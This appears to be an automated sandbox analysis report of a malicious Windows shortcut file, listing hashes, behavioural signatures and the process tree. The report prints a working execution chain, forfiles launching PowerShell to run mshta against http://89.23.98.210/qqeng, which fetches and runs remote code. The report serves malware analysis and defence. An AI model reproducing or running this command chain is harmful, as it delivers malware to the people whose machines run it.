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Analysis
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max time kernel
137s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
16/03/2024, 02:25
Static task
static1
Behavioral task
behavioral1
Sample
6086f319caf204ec965aac6797ced062b71bec0f46722100b782fa3bfc31d9bd.lnk
Resource
win7-20240215-en
Behavioral task
behavioral2
Sample
6086f319caf204ec965aac6797ced062b71bec0f46722100b782fa3bfc31d9bd.lnk
Resource
win10v2004-20240226-en
General
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Target
6086f319caf204ec965aac6797ced062b71bec0f46722100b782fa3bfc31d9bd.lnk
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Size
1KB
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MD5
90a6eed71981efdcdbc0c8c0151cfb0e
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SHA1
c21e13a29ad18e73b88eddec919b85925a95952a
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SHA256
6086f319caf204ec965aac6797ced062b71bec0f46722100b782fa3bfc31d9bd
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SHA512
fa7b96a7e404dc187d43f04ccd55637a959fbb7950d6b69e80539b4026cfd62460a74330dadb2a8e1578ddf0b87f31a4c8bac6451bd57130aa90f5a5bce77bbd
Malware Config
Extracted
http://89.23.98.210/qqeng
Signatures
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Blocklisted process makes network request 1 IoCs
flow pid Process 10 2732 mshta.exe -
Downloads MZ/PE file
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3544 powershell.exe 3544 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3544 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3532 wrote to memory of 2044 3532 cmd.exe 90 PID 3532 wrote to memory of 2044 3532 cmd.exe 90 PID 2044 wrote to memory of 3544 2044 forfiles.exe 91 PID 2044 wrote to memory of 3544 2044 forfiles.exe 91 PID 3544 wrote to memory of 2732 3544 powershell.exe 92 PID 3544 wrote to memory of 2732 3544 powershell.exe 92
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\6086f319caf204ec965aac6797ced062b71bec0f46722100b782fa3bfc31d9bd.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3532 -
C:\Windows\System32\forfiles.exe"C:\Windows\System32\forfiles.exe" /p C:\Windows\Vss /c "powershell start mshta http://89.23.98.210/qqeng2⤵
- Suspicious use of WriteProcessMemory
PID:2044 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exestart mshta http://89.23.98.210/qqeng3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3544 -
C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" http://89.23.98.210/qqeng4⤵
- Blocklisted process makes network request
PID:2732
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82